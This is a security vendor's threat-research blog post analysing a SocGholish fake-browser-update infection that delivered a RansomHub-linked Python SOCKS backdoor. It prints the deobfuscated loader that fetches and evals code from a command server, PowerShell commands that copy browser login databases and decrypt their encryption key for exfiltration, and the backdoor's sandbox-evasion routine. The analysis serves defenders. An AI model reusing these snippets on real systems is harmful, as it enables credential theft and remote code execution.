Blog

Sock(et) Puppet: How RansomHub Affiliates Pull the Strings

BY eSentire Threat Response Unit (TRU)

April 24, 2025 | 9 MINS READ

Attacks/Breaches

Threat Intelligence

Threat Response Unit

TRU Positive/Bulletin

Want to learn more on how to achieve Cyber Resilience?

TALK TO AN EXPERT

Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team…

What did we find?

In early March 2025, eSentire's Threat Response Unit (TRU) identified a cyberattack using SocGholish (also known as FakeUpdates) malware collecting system information and deploying a zip archive containing a python based backdoor connected to RansomHub affiliates.

RansomHub, which emerged in 2024, is a Ransomware-as-a-Service (RaaS) group that specializes in targeting high-profile organizations and advertises its criminal services on the Dark Web forum RAMP (Russian Anonymous Market Place). This blog examines the inner workings of the backdoor and SocGholish and demonstrates how threat actors strategically evaluate and select targets post-discovery.

Infection Chain

A simplified form of the infection chain can be seen in the figure below.

Figure 1 – Infection chain
Figure 1 – Infection chain

Initial Access

Initial access began through the victim visiting a compromised WordPress site “butterflywonderland[.]com”, which displayed a page instructing the victim to update Microsoft Edge. The victim then downloaded the file, “Update.zip”, which contained the SocGholish JScript script file, “Update.js”.

The purpose of this script is to send a POST request to the SocGholish C2 at, “hxxps://exclusive.nobogoods[.]com/updateStatus”, in order to retrieve the next stage from the C2 and execute it via the eval() function.

The deobfuscated contents of this script can be seen below.

var a0_0x11d8eb = new ActiveXObject("MSXML2.XMLHTTP");
a0_0x11d8eb.open("POST", "https://exclusive.nobogoods[.]com/profileLayout", true);
a0_0x11d8eb.send("m29QO0a/f6CPLnKzgumo/nA1jnhP0S5dlEw1uB21Cw==");
while (true) {
  WSH.Sleep(0x3e8);
  if (a0_0x11d8eb.readyState == 0x4) {
    eval(a0_0x11d8eb.responseText);
    break;
  }
}
Figure 2 – Deobfuscated snippet of Update.js

SocGholish then collected system information for discovery purposes, including the victim's domain, username, computer name, and processor architecture. This data was transmitted to the Command and Control (C2) server via HTTP POST requests.

The primary objective of this reconnaissance activity appears to be enabling threat actors to strategically select their targets while effectively evading security researchers and sandbox environments. All data sent to the C2 is URL-encoded.

POST /updateStatus
HTTP/1.1
Host: exclusive.nobogoods.com
Connection: keep-alive
 
ud=705DB984-9E64-5E92-5841-FA57CFEF8EC0%7C&it=eb1c77&s1tart=1&o1sBuildNumber=19045%7C&o1sCaption=Microsoft%20Windows%2010%20Enterprise%7C&u1serdnsdomain=&u1sername=&c1omputername=&p1roces
Figure 3 – Sending collecting system information

Executed the LOLBin net.exe to retrieve information about network connections and sent the information back to the C2 via HTTP POST.

cmd.exe /C net use > "C:\Users\user\AppData\Local\Temp\rad4EBD4.tmp"
Figure 4 – Usage of LOLBin net.exe
POST /updateStatus HTTP/1.1
Host: exclusive.nobogoods.com
Connection: keep-alive

task_cmd_result=1&task_id=98120&cmd_result=New%20connections%20will%20be%20remembered.%0D%0A%0D%0AThere%20are%20no%20entries%20in%20the%20list.%0D%0A%0D%0A&
Figure 5 – Send results of net use command to C2

Collected system information via the systeminfo command and sent it back to the C2 via HTTP POST.

cmd.exe /C systeminfo > "C:\Users\user\AppData\Local\Temp\rad2C31C.tmp"
Figure 6 – systeminfo command
POST /updateStatus HTTP/1.1
Host: exclusive.nobogoods.com
Connection: keep-alive
Content-Length: 146

task_cmd_result=1&task_id=98118&cmd_result=%0D%0AHost%20Name%3A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0AOS%20Name%3A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Microsoft%20Win
Figure 7 – Send results of systeminfo command to C2

Servers within Active Directory are enumerated via the following PowerShell command:

powershell -c "$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]\'\'); $searcher.Filter = \'(&(objectCategory=computer)(operatingSystem=*server*))\'; $searcher.PageSize = 1000; $searcher.PropertiesToLoad.Add(\'dnshostname\') > $null; $searcher.FindAll() | ForEach-Object { $_.Properties[\'dnshostname\'][0] }
Figure 8 – Enumerate servers in Active Directory and send to C2

The “Login Data” file for both Microsoft Edge and Google Chrome is exfiltrated through PowerShell:

"cmd.exe" /C powershell -c "$tmp=[System.IO.Path]::GetTempFileName();Get-Content -Raw -Encoding Byte \"$env:LOCALAPPDATA\\microsoft\\edge\\User Data\\Default\\Login Data\" | Set-Content -Encoding Byte $tmp; Write-Output $tmp" > "C:\Users\user\AppData\Local\Temp\radB1A30.tmp"
Figure 9 – Browser credential theft

The encryption key utilized to safeguard saved credentials/cookies/credit-cards and other sensitive data stored by Microsoft Edge and Chrome are then extracted via the following command and sent to the C2:

"cmd.exe" /C powershell -c "$b=((Get-Content \"$env:LOCALAPPDATA\Microsoft\Edge\User Data\Local State\").split(',') -replace 'app_bound_encrypted_key','' | Select-String 'encrypted_key') -replace '\"}','' -replace '\"encrypted_key\":\"','' -replace '\"os_crypt\":{',''; $c=[System.Convert]::FromBase64String($b); $c=$c[5..($c.Length-1)]; Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)" > "C:\Users\users\AppData\Local\Temp\rad7CFA1.tmp"
Figure 10 – Extract encryption key and unprotect via Unprotect method

The POST request below was then sent to the SocGholish C2 to retrieve the python backdoor. The delta between this request and SocGholish first contacting the C2 was approximately 6.5 minutes, indicating threat actors are casting a wide net and choosing targets post-discovery.

POST /updateStatus HTTP/1.1
Host: exclusive.nobogoods[.]com
Connection: keep-alive
Content-Length: 21

get_file=1&file_id=2027&
Figure 11 – Retrieve python backdoor

The following commands were then executed by SocGholish to rename, unpack, and execute the python backdoor via scheduled task. It is worth mentioning that the scheduled task is missing the argument to execute the backdoor script, suggesting perhaps the loading of the backdoor occurs automatically when pythonw.exe is launched by the task scheduler service.

Rename

Unpack

Execution via Scheduled Task

The contents of the “python3.12” directory can be seen in the figure below. The file named “fcrapvim.pyz” is the obfuscated python backdoor. The backdoor makes use of several bundled dependencies that are imported, i.e. _socket.pyd, socket.pyd, select.pyd, and critical to the functionality of the backdoor.

Figure 12 – Directory listing of python backdoor directory
Figure 12 – Directory listing of python backdoor directory

At the bottom of the obfuscated python backdoor, there is a very large string that is passed to a decryption routine “pc_start” and the return value returned by the “pc_start” function is invoked as python code via the exec() function.

Figure 13 – Call decryption routine (pc_start) and execute return value as python code via exec()
Figure 13 – Call decryption routine (pc_start) and execute return value as python code via exec()

The figure below contains a truncated portion of the pc_start routine, which services two primary purposes, to decrypt the next stage, and to execute several evasive checks. First, the script checks the victim machine’s platform name for the substrings, “vm” or “virtual”.

If the substrings are found, the script exits. The remaining checks in this function determine if the process is being debugged, and if so the process exits or raises an uncaught exception.

def pc_start(enc):
    import os, sys, platform, hashlib, uuid, time
    import blake3
    from Crypto.Cipher import AES as AESCipher
    if any(x in platform.platform().lower() for x in ['vm', 'virtual']):
        os._exit(1)
    try:
        with open('/proc/self/status') as f:
            for line in f:
                if line.startswith('TracerPid:') and int(line.split()[1]) != 0:
                    sys.exit(0)
    except Exception:
        pass
    if '__debug__' in dir():
        raise Exception()
Figure 14 – Decryption/evasion routine

The remaining code within this routine serves to decode and decrypt the large string passed through the parameter “enc”. The use of Base85 first to decode the string and inflation via ZLIB as a last step is consistent throughout stages, whereas the order of AES-256 (GCM), AES-128 (CTR), ChaCha20, and HKDF/Blake3/XOR varies between stages.

Base85

AES-256 (GCM)

AES-128 (CTR)

ChaCha20

HKDF/Blake3/XOR

ZLIB Inflation

The figure below contains a truncated portion of the second stage, where the next stage is decrypted via Base85 -> HKDF/Blake3/XOR -> AES-256 GCM -> ChaCha20 -> AES-128 CTR -> ZLIB Inflate.

Figure 15 – Decryption of stage N
Figure 15 – Decryption of stage N

A truncated portion of the final stage of the python backdoor can be seen below, which contains the threat actor(s) command server IP address, “38.146.28[.]93”. The backdoor processes connection commands received from the threat actors server, effectively allowing threat actors a SOCKS proxy to the internal (or external) networks. The IP address of the backdoor and TTPs discussed herein align with Trend Micro’s report.

Figure 16 – Python backdoor main function
Figure 16 – Python backdoor main function

The figure below shows the contents of the routine responsible for unpacking connection commands from the threat actor(s) server. This routine allows the server to request the client to connect to a designated target, such as an IP address or domain name, and proxy the traffic back, allowing threat actors to perform reconnaissance and lateral movement.

Figure 17 – start_transferring function, unpack/send connection, proxy traffic back to threat actor(s) server
Figure 17 – start_transferring function, unpack/send connection, proxy traffic back to threat actor(s) server

What did we do?

What can you learn from this TRU Positive?

Recommendations from the Threat Response Unit (TRU):

Indicators of Compromise

References

eSentire Unit
eSentire Threat Response Unit (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats.

Read the Latest from eSentire